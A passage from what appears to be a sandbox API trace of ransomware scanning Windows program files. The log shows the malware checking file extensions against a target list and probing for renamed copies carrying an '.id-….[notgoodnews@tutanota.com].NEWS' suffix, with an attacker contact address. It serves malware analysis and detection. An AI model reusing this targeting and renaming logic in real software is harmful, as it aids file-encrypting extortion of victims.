(lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.633] lstrlenW (lpString=".1cd") returned 4 [0216.633] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.633] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.633] lstrlenW (lpString=".jpg") returned 4 [0216.633] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.634] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.634] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.634] lstrlenW (lpString=".doc") returned 4 [0216.634] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.635] lstrlenW (lpString=".docx") returned 5 [0216.635] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0216.635] lstrlenW (lpString=".pdf") returned 4 [0216.635] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.635] lstrlenW (lpString=".xls") returned 4 [0216.635] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.635] lstrlenW (lpString=".xlsx") returned 5 [0216.635] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0216.635] lstrlenW (lpString=".ppt") returned 4 [0216.635] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.636] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.636] lstrlenW (lpString=".zip") returned 4 [0216.636] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.636] lstrlenW (lpString=".rar") returned 4 [0216.636] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.636] lstrlenW (lpString=".bz2") returned 4 [0216.636] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.636] lstrlenW (lpString=".7z") returned 3 [0216.636] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.636] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.636] lstrlenW (lpString=".dbf") returned 4 [0216.637] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.637] lstrlenW (lpString=".1cd") returned 4 [0216.637] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.689] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned 97 [0216.689] lstrlenW (lpString=".jpg") returned 4 [0216.689] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.690] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0216.690] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0216.690] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0216.693] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4955) returned 1 [0216.693] CloseHandle (hObject=0x304) returned 1 [0216.694] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0216.694] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.695] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.695] lstrlenW (lpString=".doc") returned 4 [0216.695] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.695] lstrlenW (lpString=".docx") returned 5 [0216.696] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0216.696] lstrlenW (lpString=".pdf") returned 4 [0216.696] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.696] lstrlenW (lpString=".xls") returned 4 [0216.697] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.697] lstrlenW (lpString=".xlsx") returned 5 [0216.697] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0216.697] lstrlenW (lpString=".ppt") returned 4 [0216.697] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.697] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.697] lstrlenW (lpString=".zip") returned 4 [0216.697] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.697] lstrlenW (lpString=".rar") returned 4 [0216.697] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.699] lstrlenW (lpString=".bz2") returned 4 [0216.700] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.700] lstrlenW (lpString=".7z") returned 3 [0216.700] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.700] lstrlenW (lpString=".dbf") returned 4 [0216.700] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.700] lstrlenW (lpString=".1cd") returned 4 [0216.700] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.700] lstrlenW (lpString=".jpg") returned 4 [0216.701] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.701] lstrlenW (lpString=".doc") returned 4 [0216.701] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.701] lstrlenW (lpString=".docx") returned 5 [0216.701] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0216.701] lstrlenW (lpString=".pdf") returned 4 [0216.702] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.702] lstrlenW (lpString=".xls") returned 4 [0216.702] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.702] lstrlenW (lpString=".xlsx") returned 5 [0216.702] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0216.702] lstrlenW (lpString=".ppt") returned 4 [0216.702] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.702] lstrlenW (lpString=".zip") returned 4 [0216.702] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.702] lstrlenW (lpString=".rar") returned 4 [0216.703] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.703] lstrlenW (lpString=".bz2") returned 4 [0216.703] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.703] lstrlenW (lpString=".7z") returned 3 [0216.703] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.703] lstrlenW (lpString=".dbf") returned 4 [0216.703] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.703] lstrlenW (lpString=".1cd") returned 4 [0216.703] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned 88 [0216.704] lstrlenW (lpString=".jpg") returned 4 [0216.704] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.705] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0216.705] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0216.705] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0216.869] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3081) returned 1 [0216.869] CloseHandle (hObject=0x384) returned 1 [0216.869] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0216.903] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.966] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.967] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.967] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.967] lstrlenW (lpString=".doc") returned 4 [0216.967] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.967] lstrlenW (lpString=".docx") returned 5 [0216.967] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0216.967] lstrlenW (lpString=".pdf") returned 4 [0216.968] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.968] lstrlenW (lpString=".xls") returned 4 [0216.968] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.968] lstrlenW (lpString=".xlsx") returned 5 [0216.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0216.968] lstrlenW (lpString=".ppt") returned 4 [0216.968] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.968] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.968] lstrlenW (lpString=".zip") returned 4 [0216.968] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.969] lstrlenW (lpString=".rar") returned 4 [0216.969] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.969] lstrlenW (lpString=".bz2") returned 4 [0216.969] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.969] lstrlenW (lpString=".7z") returned 3 [0216.969] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.969] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.969] lstrlenW (lpString=".dbf") returned 4 [0216.969] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.969] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.969] lstrlenW (lpString=".1cd") returned 4 [0216.969] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.970] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.970] lstrlenW (lpString=".jpg") returned 4 [0216.970] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.970] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.970] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.970] lstrlenW (lpString=".doc") returned 4 [0216.970] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.970] lstrlenW (lpString=".docx") returned 5 [0216.971] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0216.971] lstrlenW (lpString=".pdf") returned 4 [0216.971] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.971] lstrlenW (lpString=".xls") returned 4 [0216.971] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.971] lstrlenW (lpString=".xlsx") returned 5 [0216.971] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0216.971] lstrlenW (lpString=".ppt") returned 4 [0216.971] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.972] lstrlenW (lpString=".zip") returned 4 [0216.972] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.972] lstrlenW (lpString=".rar") returned 4 [0216.972] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.972] lstrlenW (lpString=".bz2") returned 4 [0216.972] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.972] lstrlenW (lpString=".7z") returned 3 [0216.972] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.972] lstrlenW (lpString=".dbf") returned 4 [0216.974] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.975] lstrlenW (lpString=".1cd") returned 4 [0216.975] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.975] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned 94 [0216.975] lstrlenW (lpString=".jpg") returned 4 [0216.975] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.976] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0216.977] lstrlenW (lpString="decorative_rule.png") returned 19 [0216.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0216.979] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=6203) returned 1 [0216.980] CloseHandle (hObject=0x324) returned 1 [0216.980] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0216.980] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0216.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.981] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.981] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.981] lstrlenW (lpString=".doc") returned 4 [0216.981] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.981] lstrlenW (lpString=".docx") returned 5 [0216.981] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0216.981] lstrlenW (lpString=".pdf") returned 4 [0216.981] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.981] lstrlenW (lpString=".xls") returned 4 [0216.981] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.982] lstrlenW (lpString=".xlsx") returned 5 [0216.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0216.982] lstrlenW (lpString=".ppt") returned 4 [0216.982] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.982] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.982] lstrlenW (lpString=".zip") returned 4 [0216.982] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.982] lstrlenW (lpString=".rar") returned 4 [0216.982] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.988] lstrlenW (lpString=".bz2") returned 4 [0216.988] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.988] lstrlenW (lpString=".7z") returned 3 [0216.988] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.988] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.989] lstrlenW (lpString=".dbf") returned 4 [0216.989] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0216.989] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.989] lstrlenW (lpString=".1cd") returned 4 [0216.989] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0216.990] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.990] lstrlenW (lpString=".jpg") returned 4 [0216.990] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0216.990] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.990] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.991] lstrlenW (lpString=".doc") returned 4 [0216.991] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0216.991] lstrlenW (lpString=".docx") returned 5 [0216.991] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0216.991] lstrlenW (lpString=".pdf") returned 4 [0216.992] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0216.992] lstrlenW (lpString=".xls") returned 4 [0216.992] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0216.992] lstrlenW (lpString=".xlsx") returned 5 [0216.992] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0216.992] lstrlenW (lpString=".ppt") returned 4 [0216.998] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0216.998] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.998] lstrlenW (lpString=".zip") returned 4 [0216.998] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0216.998] lstrlenW (lpString=".rar") returned 4 [0216.998] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0216.999] lstrlenW (lpString=".bz2") returned 4 [0216.999] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0216.999] lstrlenW (lpString=".7z") returned 3 [0216.999] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0216.999] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0216.999] lstrlenW (lpString=".dbf") returned 4 [0217.000] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.000] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0217.000] lstrlenW (lpString=".1cd") returned 4 [0217.000] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.000] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png") returned 70 [0217.001] lstrlenW (lpString=".jpg") returned 4 [0217.001] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.002] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0217.002] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0217.007] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0217.008] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5088) returned 1 [0217.009] CloseHandle (hObject=0x324) returned 1 [0217.010] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0217.010] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.010] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.011] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.011] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.011] lstrlenW (lpString=".doc") returned 4 [0217.011] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.011] lstrlenW (lpString=".docx") returned 5 [0217.011] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0217.011] lstrlenW (lpString=".pdf") returned 4 [0217.011] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.409] lstrlenW (lpString=".xls") returned 4 [0217.409] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.409] lstrlenW (lpString=".xlsx") returned 5 [0217.409] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0217.409] lstrlenW (lpString=".ppt") returned 4 [0217.409] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.409] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.411] lstrlenW (lpString=".zip") returned 4 [0217.411] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.412] lstrlenW (lpString=".rar") returned 4 [0217.412] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.412] lstrlenW (lpString=".bz2") returned 4 [0217.412] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.412] lstrlenW (lpString=".7z") returned 3 [0217.412] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.412] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.412] lstrlenW (lpString=".dbf") returned 4 [0217.412] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.412] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.413] lstrlenW (lpString=".1cd") returned 4 [0217.413] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.413] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.413] lstrlenW (lpString=".jpg") returned 4 [0217.413] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.413] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.413] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png") returned 83 [0217.413] lstrlenW (lpString=".doc") returned 4 [0217.414] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.414] lstrlenW (lpString=".docx") returned 5 [0217.414] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0217.414] lstrlenW (lpString=".pdf") returned 4 [0217.414] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.414] lstrlenW (lpString=".xls") returned 4 [0217.414] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.414] lstrlenW (lpString=".xlsx") returned 5 [0217.414] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0217.414] lstrlenW (lpString=".ppt") returned 4 [0217.414] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.414] lstrlenW 